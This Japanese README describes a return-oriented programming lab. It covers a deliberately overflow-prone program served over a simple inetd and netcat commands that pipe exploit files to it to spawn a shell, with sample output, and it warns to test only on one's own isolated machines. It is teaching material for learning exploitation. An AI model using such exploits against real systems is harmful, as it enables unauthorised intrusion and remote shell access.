ROP実験用サンプル

■ 概要

ROP実験用のサンプルです.
セキュリティの学習・勉強用の教材として作成したものです.
当然ですが不正なクラック等を助長するものではなく, セキュリティの検証・学習目的のものです. 本質的な防御のためには攻撃手法を正しく知る必要があり, 実験を通して深く理解するためのものです.

実験をする際には,必ず自身の閉じた環境内で行ってください. 他人の管理するサーバやPCに対して行わないでください.

同等のことを他人の管理するサーバやPCに対して行うと, 不正アクセス禁止法などに問われる可能性があります. (善意の検証目的でもNGです)

CentOS6の環境でビルドしてあります.

■ 検証方法

rop-sample.zip に含まれている checkname というプログラムは, 実行すると標準入力から名前を聞いてきます.

この入力処理にはバッファオーバーランのバグがあります. ROPによりシェル起動することができます.

簡易的な inetd のようなプログラムを添付してあるので, 簡易inetd経由で checkname を起動することで,ネットワーク・サーバとして 動作させることができます.
そのようにして netcat で Exploit を流し込むことができます.

■ ファイル説明

rop-sample.zipには,以下のファイルが含まれています. Exploitサンプルには,以下のファイルが含まれています.
*.txtは説明,*.binはExploitコードです.(実験方法は *.txt 参照)

■ 検証例

以下は簡単な実験方法です.
添付のchecknameはCentOS6の環境でビルドしてあるので, CentOS6の環境で実験できます.
(アドレス固定でビルドしてあるので,checknameが実行できれば,おそらく別環境でも実験可能です)

(注意) checkname は make により実行ファイルを再作成するとアドレス体系が 変わってしまうので,添付の chekcname をそのまま使うこと

(ポート10000でchecknameを起動して待ち受けする)

% ./simple-inetd 10000 0 0 . checkname checkname
(別環境からtelnetで接続してみる:NGの場合)
% telnet localhost 10000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
This program is for CentOS 6.
Input name: test    ★接続したら「test」と入力
NG
Connection closed by foreign host.
(別環境からtelnetで接続してみる:OKの場合)
hiroaki@letsnote2:~>% telnet localhost 10000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
This program is for CentOS 6.
Input name: Mike    ★接続したら「Mike」と入力
OK
Connection closed by foreign host.
% 
(Exploitによりシェルを起動する)
% cat exploit-direct.bin - | nc localhost 10000
This program is for CentOS 6.
Input name: NG
ls    ★接続したら「ls」と入力すると,lsが実行される
Makefile
checkname
checkname.c
gadget.txt
rop-gadget.pl
simple-inetd
simple-inetd.c
(Exploitによりシェルを起動する:ファイルを後続させるものは,catでなくcat.plが必要になる)
% ./cat.pl exploit-read-string.bin bin-sh.bin - | nc localhost 10000
This program is for CentOS 6.
Input name: NG
ls    ★接続したら「ls」と入力すると,lsが実行される
Makefile
checkname
checkname.c
gadget.txt
rop-gadget.pl
simple-inetd
simple-inetd.c